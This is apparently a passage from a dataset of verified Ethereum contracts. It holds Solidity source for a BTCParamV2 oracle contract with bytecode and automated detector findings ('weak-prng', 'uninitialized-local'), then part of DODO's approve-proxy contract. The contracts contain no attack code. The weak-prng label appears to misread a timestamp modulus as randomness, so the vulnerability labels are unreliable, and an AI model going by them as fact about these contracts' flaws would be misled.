function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IMiningParam {
function incomeAssetPrice() external view returns (uint256);
function incomePerSecInWei() external view returns(uint256);
}
contract BTCParamV2 is IMiningParam{
using SafeMath for uint256;
bool internal initialized;
address public owner;
address public paramSetter;
uint256 public btcBlockRewardInWei;
uint256 public btcNetDiff;
uint256 public btcTxFeeRewardPerTPerSecInWei;
address public uniPairAddress;
bool public usePrice0;
uint32 public lastPriceUpdateTime;
uint256 public lastCumulativePrice;
uint256 public lastAveragePrice;
address[] public paramListeners;
function initialize(address newOwner, address _paramSetter, uint256 _btcNetDiff, uint256 _btcBlockRewardInWei, address _uniPairAddress, bool _usePrice0) public {
require(!initialized, "already initialized");
require(newOwner != address(0), "new owner is the zero address");
initialized = true;
owner = newOwner;
paramSetter= _paramSetter;
btcBlockRewardInWei = _btcBlockRewardInWei;
btcNetDiff = _btcNetDiff;
uniPairAddress = _uniPairAddress;
usePrice0 = _usePrice0;
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 currentBlockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(_uniPairAddress);
lastPriceUpdateTime = currentBlockTimestamp;
lastCumulativePrice = _usePrice0?price0Cumulative:price1Cumulative;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setParamSetter(address _paramSetter) external onlyOwner {
require(_paramSetter != address(0), "param setter is the zero address");
emit ParamSetterChanged(paramSetter, _paramSetter);
paramSetter = _paramSetter;
}
function setBtcNetDiff(uint256 _btcNetDiff) external onlyParamSetter {
require(_btcNetDiff > 10000000000000, "_btcNetDiff limit at 10000000000000");
btcNetDiff = _btcNetDiff;
notifyListeners();
}
function setBtcBlockReward(uint256 _btcBlockRewardInWei) external onlyParamSetter {
require(_btcBlockRewardInWei < btcBlockRewardInWei, "invalid _btcBlockRewardInWei");
btcBlockRewardInWei = _btcBlockRewardInWei;
notifyListeners();
}
function updateAssetPrice() external onlyParamSetter {
_updatePrice();
notifyListeners();
}
function _updatePrice() internal {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 currentBlockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniPairAddress);
uint256 currentPrice = usePrice0?price0Cumulative:price1Cumulative;
uint256 timeElapsed = currentBlockTimestamp - lastPriceUpdateTime; // overflow is desired
if (timeElapsed > 0) {
lastAveragePrice = currentPrice.sub(lastCumulativePrice).div(timeElapsed);
lastPriceUpdateTime = currentBlockTimestamp;
lastCumulativePrice = currentPrice;
}
}
function setBtcTxFeeRewardRate(uint256 _btcTxFeeRewardPerTPerSecInWei) external onlyParamSetter {
_setBtcTxFeeRewardRate(_btcTxFeeRewardPerTPerSecInWei);
notifyListeners();
}
function setBtcTxFeeRewardRateAndUpdateBtcPrice(uint256 _btcTxFeeRewardPerTPerSecInWei) external onlyParamSetter{
_setBtcTxFeeRewardRate(_btcTxFeeRewardPerTPerSecInWei);
_updatePrice();
notifyListeners();
}
function _setBtcTxFeeRewardRate(uint256 _btcTxFeeRewardPerTPerSecInWei) internal {
require(_btcTxFeeRewardPerTPerSecInWei < 100000000, "_btcTxFeeRewardPerTPerSecInWei limit at 100000000");
btcTxFeeRewardPerTPerSecInWei = _btcTxFeeRewardPerTPerSecInWei;
}
function addListener(address _listener) external onlyParamSetter {
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
require(listener != _listener, 'listener already added.');
}
paramListeners.push(_listener);
}
function removeListener(address _listener) external onlyParamSetter returns(bool ){
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
if (listener == _listener) {
delete paramListeners[i];
return true;
}
}
return false;
}
function notifyListeners() internal {
for (uint i=0; i<paramListeners.length; i++){
address listener = paramListeners[i];
if (listener != address(0)) {
IPOWToken(listener).updateIncomeRate();
}
}
}
function incomePerSecInWei() external view returns(uint256){
uint256 oneTHash = 10 ** 12;
uint256 baseDiff = 2 ** 32;
uint256 blockRewardRate = oneTHash.mul(btcBlockRewardInWei).div(baseDiff).div(btcNetDiff);
return blockRewardRate.add(btcTxFeeRewardPerTPerSecInWei);
}
function incomeAssetPrice() external view returns (uint256) {
return lastAveragePrice.mul(100).div(2**112);
}
/* ========== MODIFIERS ========== */
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
modifier onlyParamSetter() {
require(msg.sender == paramSetter, "!paramSetter");
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ParamSetterChanged(address indexed previousSetter, address indexed newSetter);
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80639bc5741f116100c3578063c68ebac71161007c578063c68ebac714610488578063cf9315eb1461052c578063d5b502521461055a578063da2012481461059e578063eb6ee0a1146105bc578063f2fde38b146106065761014d565b80639bc5741f14610350578063aa3166b4146103ac578063ac9c238d146103f0578063b139beea1461041e578063b21187e21461043c578063c1cbb5551461045a5761014d565b80634a63aab1116101155780634a63aab1146101f857806353bfe63314610226578063621ca35e146102305780636d9bd6641461024e5780638da5cb5b146102bc578063958fef7c146103065761014d565b8063080a906e14610152578063267955b014610174578063300afa761461019257806337bc863c146101b057806349b9a7af146101ce575b600080fd5b61015a61064a565b604051808215151515815260200191505060405180910390f35b61017c61065d565b6040518082815260200191505060405180910390f35b61019a610663565b6040518082815260200191505060405180910390f35b6101b8610669565b6040518082815260200191505060405180910390f35b6101d661066f565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6102246004803603602081101561020e57600080fd5b8101908080359060200190929190505050610685565b005b61022e610764565b005b610238610839565b6040518082815260200191505060405180910390f35b61027a6004803603602081101561026457600080fd5b8101908080359060200190929190505050610877565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c46108b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61030e6108d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103926004803603602081101561036657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ff565b604051808215151515815260200191505060405180910390f35b6103ee600480360360208110156103c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa5565b005b61041c6004803603602081101561040657600080fd5b8101908080359060200190929190505050610ccb565b005b610426610e17565b6040518082815260200191505060405180910390f35b610444610e1d565b6040518082815260200191505060405180910390f35b6104866004803603602081101561047057600080fd5b8101908080359060200190929190505050610e8e565b005b61052a600480360360c081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610fc1565b005b6105586004803603602081101561054257600080fd5b810190808035906020019092919050505061123e565b005b61059c6004803603602081101561057057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611315565b005b6105a6611541565b6040518082815260200191505060405180910390f35b6105c4611547565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156d565b005b600560149054906101000a900460ff1681565b60045481565b60025481565b60065481565b600560159054906101000a900463ffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b61075181611793565b6107596117f9565b6107616118d4565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b61082f6117f9565b6108376118d4565b565b60006108726e01000000000000000000000000000061086460646007546119c990919063ffffffff16565b611a4f90919063ffffffff16565b905090565b6008818154811061088457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b600880549050811015610a9a576000600882815481106109e657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a8c5760088281548110610a5457fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600192505050610aa0565b5080806001019150506109ca565b50600090505b919050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f706172616d2073657474657220697320746865207a65726f206164647265737381525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbdb27c45e7cebea53416bc78c5bfc5014c1efa4cfd3a2cc9398aeb9aaa617fb560405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b6002548110610e05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f696e76616c6964205f627463426c6f636b526577617264496e5765690000000081525060200191505060405180910390fd5b80600281905550610e146118d4565b50565b60035481565b60008064e8d4a510009050600064010000000090506000610e6f600354610e6184610e53600254886119c990919063ffffffff16565b611a4f90919063ffffffff16565b611a4f90919063ffffffff16565b9050610e8660045482611a9990919063ffffffff16565b935050505090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b6509184e72a0008111610faf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121056023913960400191505060405180910390fd5b80600381905550610fbe6118d4565b50565b6000809054906101000a900460ff1615611043576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616c726561647920696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156110e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b60016000806101000a81548160ff02191690831515021790555085600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826002819055508360038190555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560146101000a81548160ff02191690831515021790555060008060006111f985611b21565b92509250925080600560156101000a81548163ffffffff021916908363ffffffff1602179055508361122b578161122d565b825b600681905550505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611301576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b61130a81611793565b6113126118d4565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f21706172616d536574746572000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b6008805490508110156114d7576000600882815481106113fa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6c697374656e657220616c72656164792061646465642e00000000000000000081525060200191505060405180910390fd5b5080806001019150506113de565b5060088190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611630576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6305f5e10081106117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806120b36031913960400191505060405180910390fd5b8060048190555050565b6000806000611829600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b21565b9250925092506000600560149054906101000a900460ff1661184b578261184d565b835b90506000600560159054906101000a900463ffffffff16830363ffffffff16905060008111156118cd5761189e8161189060065485611d6c90919063ffffffff16565b611a4f90919063ffffffff16565b60078190555082600560156101000a81548163ffffffff021916908363ffffffff160217905550816006819055505b5050505050565b60008090505b6008805490508110156119c6576000600882815481106118f657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119b8578073ffffffffffffffffffffffffffffffffffffffff16631b75fbe86040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561199f57600080fd5b505af11580156119b3573d6000803e3d6000fd5b505050505b5080806001019150506118da565b50565b6000808314156119dc5760009050611a49565b60008284029050828482816119ed57fe5b0414611a44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120e46021913960400191505060405180910390fd5b809150505b92915050565b6000611a9183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611db6565b905092915050565b600080828401905083811015611b17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000611b2e611e7c565b90508373ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b158015611b7657600080fd5b505afa158015611b8a573d6000803e3d6000fd5b505050506040513d6020811015611ba057600080fd5b810190808051906020019092919050505092508373ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf957600080fd5b505afa158015611c0d573d6000803e3d6000fd5b505050506040513d6020811015611c2357600080fd5b8101908080519060200190929190505050915060008060008673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611c8157600080fd5b505afa158015611c95573d6000803e3d6000fd5b505050506040513d6060811015611cab57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092508363ffffffff168163ffffffff1614611d6257600081850390508063ffffffff16611d018486611e92565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602870196508063ffffffff16611d398585611e92565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff160286019550505b5050509193909250565b6000611dae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fc1565b905092915050565b60008083118290611e62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e27578082015181840152602081019050611e0c565b50505050905090810190601f168015611e545780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611e6e57fe5b049050809150509392505050565b60006401000000004281611e8c57fe5b06905090565b611e9a612081565b6000826dffffffffffffffffffffffffffff1611611f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4669786564506f696e743a204449565f42595f5a45524f00000000000000000081525060200191505060405180910390fd5b6040518060200160405280836dffffffffffffffffffffffffffff16607060ff16866dffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16901b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681611f9757fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250905092915050565b600083831115829061206e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612033578082015181840152602081019050612018565b50505050905090810190601f1680156120605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe5f627463547846656552657761726450657254506572536563496e576569206c696d697420617420313030303030303030536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775f6274634e657444696666206c696d6974206174203130303030303030303030303030a265627a7a72315820582addb4420d4b15e29cd99ee19da91397065dd19cf5841435626537385d06b764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,235 |
0x6cCD6172A0fBf236ab927ACF56Fcc7fC6eB34991
|
/**
*Submitted for verification at Etherscan.io on 2021-04-06
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
